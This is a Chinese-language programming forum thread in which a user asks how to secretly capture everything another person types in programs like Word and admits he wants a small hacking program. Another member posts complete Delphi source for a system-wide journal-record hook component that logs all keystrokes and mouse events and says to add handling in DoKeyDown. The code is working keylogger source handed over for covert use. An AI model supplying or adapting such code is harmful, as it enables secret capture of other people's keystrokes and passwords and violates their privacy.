怎样读取键盘的输入？

[koh_hou]

请注意：我的意思是程序在运行，但是不是被激活的状态。
比如，某个人在用Word打字，获取他的所有键盘输入。

[AustinLei]

gz...

[DWGZ]

以前看过这样的例子用Hook, 通过扫描键盘端口，忘了：）

[上海老李]

呵呵，我做了个，送你？

[koh_hou]

帮帮忙啊！！！

[koh_hou]

行啊！我要源码！！！！！！

[Spqk005]

找个黑客程序

[koh_hou]

说白了……我94想做个小的黑客程序……
也84我要……是帮朋友忙而已……

[charles2118]

我也想要，有的话发我一个，[e-mail]

[mingjunlee]

给我一个[e-mail]

[koh_hou]

楼上的两位……你们…… -_-#

[上海老李]

小子，你的EMAIL，我一块给你们发

[上海老李]

[e-mail]你先发信给我！

[wangguan007]

我也向要啊，谢谢了！

[e-mail]

[上海老李]

这的那小子不给我发信，也不留EMAIL，因为要用一个组件，我把组件源程序也贴出来吧

unit SysHook;

interface

uses
Windows, Messages, SysUtils, Classes,TlHelp32;

type
{截获消息的结构 the structure of message}
TEventMsg = ^_EventMsg;
_EventMsg = packed record
Message : UINT;
ParamL : UINT;
ParamH : UINT;
Time : DWORD;
Hwnd : HWND;
end;

TMouseButton = (mbLeft, mbRight, mbMiddle);

TGetMessageEvent =
procedure (Msg : TEventMsg) of object;

TGetKeyDownMessage =
procedure (Key : Word;Winhandle :HWND) of object;

TGetKeyUpMessage =
procedure (Key : Word;Winhandle :HWND) of object;

TGetMouseDownMessage =
procedure (Button : TMouseButton;
WinHandle :HWND;X, Y : integer) of object;

TGetMouseUpMessage =
procedure (Button : TMouseButton;
WinHandle :HWND;X, Y : integer) of object;

TGetMouseMoveMessage =
procedure (X, Y : integer) of object;

TSysHook = class(TComponent)
private
FHooking: boolean;
Handle : HHOOK;
FOnGetMessage : TGetMessageEvent;
FOnKeyDown: TGetKeyDownMessage;
FOnKeyUp: TGetKeyUpMessage;
FOnMouseDown: TGetMouseDownMessage;
FOnMouseUp: TGetMouseupMessage;
FOnMouseMove: TGetMouseMoveMessage;
procedure SetHooking(const Value: boolean);
protected
procedure DoKeyDown(Msg : TEventMsg);dynamic;
procedure DoKeyUp(Msg : TEventMsg);dynamic;
procedure DoMouseDown(Msg : TEventMsg);dynamic;
procedure DoMouseUp(Msg : TEventMsg);dynamic;
procedure DoMouseMove(Msg : TEventMsg);dynamic;
public
constructor Create(AOwner : TComponent);override;
destructor Destroy;override;
function GetProcessInfo(AProcessID : DWORD):PProcessEntry32;
function GetWinClassName(WinHandle : HWND):string;
function GetProcess(WinHandle : HWND):DWORD;
function GetInstance(WinHandle : HWND):DWORD;
published
property Enabled : boolean
read FHooking write SetHooking;
property OnGetMessage : TGetMessageEvent
read FOnGetMessage write FOnGetMessage;
property OnKeyDown : TGetKeyDownMessage
read FOnKeyDown write FOnKeyDown;
property OnKeyUp : TGetKeyUpMessage
read FOnKeyUp write FOnKeyUp;
property OnMouseDown : TGetMouseDownMessage
read FOnMouseDown write FOnMouseDown;
property OnMouseUp : TGetMouseupMessage
read FOnMouseUp write FOnMouseUp;
property OnMouseMove : TGetMouseMoveMessage
read FOnMouseMove write FOnMouseMove;
end;

procedure Register;

implementation

function Play(Code : integer;wParam, lParam : Longint):Longint;stdcall;forward;

var
_Hook : TSysHook;

procedure Register;
begin
RegisterComponents('Samples', [TSysHook]);
end;
{ TSysHook }

constructor TSysHook.Create(AOwner : TComponent);
begin
inherited Create(AOwner);
_Hook := Self;
end;

destructor TSysHook.Destroy;
begin
Enabled := False;
_Hook := nil;
inherited;
end;

function Play(Code, wParam, lParam: Longint): Longint;
begin
Result := 0;
if (Code = HC_ACTION) or (Code =HC_SYSMODALON)or(Code=HC_SYSMODALOFF)then
begin
if Assigned(_Hook.FOnGetMessage) then
_Hook.FOnGetMessage(TEventMsg(lParam));

if TEventMsg(lParam).Message = WM_KEYDOWN then
_Hook.DoKeyDown(TEventMsg(lParam));

if TEventMsg(lParam).Message = WM_KEYUP then
_Hook.DoKeyUp(TEventMsg(lParam));

if (TEventMsg(lParam).Message = WM_LBUTTONDOWN) or
(TEventMsg(lParam).Message = WM_RBUTTONDOWN) or
(TEventMsg(lParam).Message = WM_MBUTTONDOWN) then
_Hook.DoMouseDown(TEventMsg(lParam));

if (TEventMsg(lParam).Message = WM_LBUTTONUP) or
(TEventMsg(lParam).Message = WM_RBUTTONUP) or
(TEventMsg(lParam).Message = WM_MBUTTONUP) then
_Hook.DoMouseUp(TEventMsg(lParam));

if TEventMsg(lParam).Message = WM_MOUSEMOVE then
_Hook.DoMouseMove(TEventMsg(lParam));
end;
if Code < 0 then
Result := CallNextHookEx(_Hook.Handle,Code,wParam,lParam);
end;

procedure TSysHook.DoKeyDown(Msg: TEventMsg);
var
AKey : array [0..1] of Char;
AState : TKeyboardState;
begin
try
GetKeyboardState(AState);
ToAscii(Msg.ParamL,Msg.ParamH,AState,AKey,0);
if Assigned(FOnKeyDown) then
FOnKeyDown(Ord(AKey[0]),GetFocus);
except
end;
end;

procedure TSysHook.DoKeyUp(Msg: TEventMsg);
var
AKey : array [0..1] of Char;
AState : TKeyboardState;
begin
try
GetKeyboardState(AState);
ToAscii(Msg.ParamL,Msg.ParamH,AState,AKey,0);
if Assigned(FOnKeyUp) then
FOnKeyUp(Ord(AKey[0]),GetFocus);
except
end;
end;

procedure TSysHook.DoMouseDown(Msg: TEventMsg);
var
Button : TMouseButton;
begin
Button := mbLeft;
case Msg.Message of
WM_LBUTTONDOWN : button := mbLeft;
WM_RBUTTONDOWN : Button := mbRight;
WM_MBUTTONDOWN : Button := mbMiddle;
end;
if Assigned(FOnMouseDown) then
FOnMouseDown(Button,Msg.Hwnd,Msg.ParamL,Msg.ParamH);
end;

procedure TSysHook.DoMouseMove(Msg: TEventMsg);
begin
if Assigned(FOnMouseMove) then
FOnMouseMove(Msg.ParamL,Msg.ParamH);
end;

procedure TSysHook.DoMouseUp(Msg: TEventMsg);
var
Button : TMouseButton;
begin
Button := mbLeft;
case Msg.Message of
WM_LBUTTONUP : button := mbLeft;
WM_RBUTTONUP : Button := mbRight;
WM_MBUTTONUP : Button := mbMiddle;
end;
if Assigned(FOnMouseUp) then
FOnMouseUp(Button,Msg.Hwnd,Msg.ParamL,Msg.ParamH);
end;

function TSysHook.GetInstance(WinHandle: HWND): DWORD;
begin
Result := GetWindowLong(WinHandle,GWL_HINSTANCE);
end;

function TSysHook.GetProcess(WinHandle: HWND): DWORD;
var
p : DWORD;
begin
GetWindowThreadProcessId(WinHandle,@p);
Result := P;
end;

function TSysHook.GetProcessInfo(AProcessID: DWORD): PProcessEntry32;
var
Snap : THandle;
PE : TProcessEntry32;
PPE : PProcessEntry32;
Found : boolean;
begin
Snap := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS,0);
PE.dwSize := SizeOf(PE);
PPE := nil;
Found := False;
if Process32First(Snap,PE) then
repeat
if (PE.th32ProcessID = AProcessID) then
Found := True;
until (Found = true) or (not Process32Next(Snap,PE));
if Found then
begin
new(PPE);
PPE^ := PE;
end;
Result := PPE;
end;

function TSysHook.GetWinClassName(WinHandle: HWND): string;
var
ClassName : pChar;
begin
GetMem(ClassName,256);
GetClassName(WinHandle,ClassName,256);
Result := string(ClassName);
end;

procedure TSysHook.SetHooking(const Value: boolean);
begin
FHooking := Value;
if Value then
Handle := SetWindowsHookEx(WH_JOURNALRECORD,Play,hInstance,0)
else
UnHookWindowsHookEx(Handle);
end;

end.

[上海老李]

这样的话就可以做成组件，在DoKeyDown里加处理就行